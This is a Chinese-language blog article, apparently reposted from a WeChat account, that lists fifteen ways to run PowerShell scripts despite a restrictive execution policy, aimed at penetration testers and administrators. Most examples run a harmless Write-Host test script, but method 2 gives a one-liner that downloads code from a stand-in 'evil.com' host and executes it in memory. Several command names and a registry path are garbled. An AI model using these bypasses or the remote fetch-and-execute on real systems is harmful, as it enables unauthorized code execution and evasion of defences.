绕过PowerShell执行策略手法总结

admin 2024年1月9日09:58:19评论146 views字数 5171阅读17分14秒阅读模式

基础

默认情况下,PowerShell配置为防止在Windows系统上执行PowerShell脚本。这可能是渗透测试人员、系统管理员和开发人员的障碍,但并非必须如此。在本文中,将介绍15种绕过PowerShell执行策略的方法,而无需在系统上拥有本地管理员权限。

绕过PowerShell执行策略手法总结

PowerShell执行策略

PowerShell执行策略是确定可以在系统上运行哪种类型的PowerShell脚本(如果有的话)的设置。默认情况下,它设置为“受限”。然而,旨在防止管理员误操作。微软官方提供了比较多的方式来进行执行确保能够正常使用该功能

          

绕过执行策略原因

搞横向自动化似乎是最常见的原因,以下是PowerShell在管理员、渗透测试者和黑客中变得如此受欢迎的几个原因:

1原生于Windows

1能够调用WindowsAPI

1能够在不写入磁盘的情况下运行命令

1能够避免被防病毒软件检测到

1已被大多数应用白名单解决方案标记为“可信”

1用于编写许多开源渗透测试工具包的媒介

查看执行策略

在能够使用PowerShell提供的所有精彩功能之前,攻击者可能需要绕过“受限”执行策略。您可以使用“Get-ExsionPolicy”PowerShell命令查看当前配置。如果您第一次查看该设置,它可能设置为“受限”,如下所示。    

Shell                  
PS C:> Get-ExecutionPolicy

绕过PowerShell执行策略手法总结

          

还值得注意的是,执行策略可以在系统的不同级别设置。要查看它们的列表,请使用下面的命令。有关更多信息,您可以在此处查看Microsoft的“设置-执行策略”页面。

Shell                  
Get-ExecutionPolicy -List | Format-Table -AutoSize

绕过PowerShell执行策略手法总结

          

测试默认执行策略

在下面的示例中,我将使用名为runme. ps1的脚本,其中包含以下PowerShell命令将消息写入控制台:

Shell                  
Write-Host "My voice is my passport, verify me."

当我尝试在配置了默认执行策略的系统上执行它时,我收到以下错误:    

绕过PowerShell执行策略手法总结

          

如果您当前的策略过于开放,并且您想使其更具限制性以测试以下技术,请从管理员PowerShell控制台运行命令“Set-ExecutionPolicy Reexcted”。以下是15种绕过PowerShell执行策略限制的方法。

          

绕过PowerShell执行策略

1. 将脚本粘贴到交互式PowerShell控制台

将您的PowerShell脚本复制并粘贴到交互式控制台中,如下所示。但是,请记住,您将受到当前用户权限的限制。这是最基本的示例,当您拥有交互式控制台时,可以方便地运行快速脚本。此外,此技术不会导致配置更改或需要写入磁盘。

绕过PowerShell执行策略手法总结

          

2. 从URL下载脚本并使用Invoke Expression执行

这种技术可以用来从互联网下载PowerShell脚本并执行它,而无需写入磁盘。它也不会导致任何配置更改。我已经看到它以许多创造性的方式使用,但最近在Matt Graeber的一篇不错的PowerSploit博客中看到了它的引用。

Shell                  
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://evil.com/test')"        

绕过PowerShell执行策略手法总结

3. 回显脚本并将其通过管道在PowerShell标准输出

只需将脚本回显到PowerShell标准输入中。此技术不会导致配置更改或需要写入磁盘。

Shell                  
Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -

绕过PowerShell执行策略手法总结

          

4. 从文件和管道读取脚本到PowerShell标准输出

使用Windows“type”命令或PowerShell“Get-Content”命令从磁盘读取脚本并将其传输到PowerShell标准输入中。这种技术不会导致配置更改,但需要将脚本写入磁盘。但是,如果您试图避免写入磁盘,则可以从网络共享中读取它。

示例1:获取内容PowerShell命令

Shell                  
Get-Content .runme.ps1 | PowerShell.exe -noprofile -

绕过PowerShell执行策略手法总结

          

示例2:键入命令    

Shell                  
TYPE .runme.ps1 | PowerShell.exe -noprofile -

绕过PowerShell执行策略手法总结

          

          

5. 使用Command Switch

这种技术与通过复制和粘贴执行脚本非常相似,但可以在没有交互式控制台的情况下完成。它适用于简单的脚本执行,但更复杂的脚本通常会出现解析错误。这种技术不会导致配置更改或需要写入磁盘。

示例1:完整命令

Shell                  
Powershell -command "Write-Host 'My voice is my passport, verify me.'"

绕过PowerShell执行策略手法总结

          

示例2:短命令

Shell                  
Powershell -c "Write-Host 'My voice is my passport, verify me.'"

          

还值得注意的是,您可以将这些类型的PowerShell命令放入批处理文件中,并将它们放入自动运行位置(如所有用户启动文件夹),以在权限提升期间提供帮助。    

          

6. 使用EncodeCommand转换

这与“Command”转换非常相似,但所有脚本都以Unicode/base64编码字符串的形式提供。以这种方式编码脚本有助于避免使用“Command”开关时遇到的所有讨厌的解析错误。这种技术不会导致配置更改或需要写入磁盘。下面的示例取自Posh-SecMod。相同的工具包包括一个不错的压缩方法,用于减少编码命令的大小,如果它们开始变得太长。

示例1:完整命令

Shell                  
$command = "Write-Host 'My voice is my passport, verify me.'"                  
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)                  
$encodedCommand = [Convert]::ToBase64String($bytes)                  
powershell.exe -EncodedCommand $encodedCommand

绕过PowerShell执行策略手法总结

示例2:短命令使用编码字符串

Shell                  
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

          

7. 使用 Invoke-Expression 命令

这是另一种通常通过交互式PowerShell控制台或使用“Command”转换执行的技术。这种技术不会导致配置更改或需要写入磁盘。下面我列出了一些使用Invoke-Extension绕过执行策略的常见方法。    

示例1:使用Get-Content的完整命令

Shell                  
Get-Content .runme.ps1 | Invoke-Expression

绕过PowerShell执行策略手法总结

          

示例2:使用Get-Content的短命令

Shell                  
GC .runme.ps1 | iex

8. 使用 Invoke-Command命令

这是我在Obscuresec博客上发现的一个有趣的选项。它通常通过交互式PowerShell控制台或使用“命令”开关的一个衬垫来执行,但很酷的是它可以用于对启用了PowerShell远程处理的远程系统执行命令。这种技术不会导致配置更改或需要写入磁盘。

Shell                  
invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}

绕过PowerShell执行策略手法总结

下面的命令还可用于从远程计算机获取执行策略并将其应用到本地计算机。

Shell                  
invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force        

          

9. 使用“Unrestricted”执行策略标志

这类似于“Bypass”标志。但是,当使用此标志时,Microsoft声明它“加载所有配置文件并运行所有脚本。如果您运行从Internet下载的未签名脚本,则在运行之前会提示您获得权限。”此技术不会导致配置更改或需要写入磁盘。

Shell                  
PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1

绕过PowerShell执行策略手法总结

10. 使用“Bypass”执行策略标志

这是微软添加的一个不错的标志,当您从文件执行脚本时,它将绕过执行策略。当使用此标志时,微软会声明“没有任何内容被阻止,也没有警告或提示”。这种技术不会导致配置更改或需要写入磁盘。

Shell                  
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1

绕过PowerShell执行策略手法总结

          

              

          

11. 使用“Remote-Signed”执行策略标志

          

Shell                  
PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1

12. 通过交换AuthorizationManager禁用ExecutionPolicy

这是一种更有创意的方法。下面的函数可以通过交互式PowerShell控制台或使用“command”开关来执行。一旦调用该函数,它将用null替换掉“AuthorizationManager”。因此,执行策略基本上设置为会话剩余时间不受限制。这种技术不会导致持久的配置更改或需要写入磁盘。但是,更改将在会话期间应用。

Shell                  
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}                  
                 
Disable-ExecutionPolicy  .runme.ps1

绕过PowerShell执行策略手法总结

          

          

          

          

13. 通过命令设置CurrentUser范围的ExcutionPolicy

此选项类似于进程作用域,但通过修改注册表项将设置持久化地应用于当前用户的环境。此外,它不会导致配置更改,也不需要写入磁盘。    

Shell                  
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

绕过PowerShell执行策略手法总结

          

14. 设置进程范围的ExcutionPolicy

正如我们在介绍中看到的,执行策略可以应用于许多级别。这包括您可以控制的进程。使用这种技术,执行策略可以在会话期间设置为无限制。此外,它不会导致配置更改,也不需要写入磁盘。

Shell                  
Set-ExecutionPolicy Bypass -Scope Process

绕过PowerShell执行策略手法总结

          

15. 通过注册表设置CurrentUser范围的ExcutionPolicy

在此示例中展示了如何通过直接修改注册表项来持久地更改当前用户环境的执行策略。

Shell                  
HKEY_CURRENT_USERSoftwareMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell

绕过PowerShell执行策略手法总结    

              

原文始发于微信公众号(暴暴的皮卡丘):绕过PowerShell执行策略手法总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月9日09:58:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕过PowerShell执行策略手法总结https://cn-sec.com/archives/2376919.html

发表评论

匿名网友 填写信息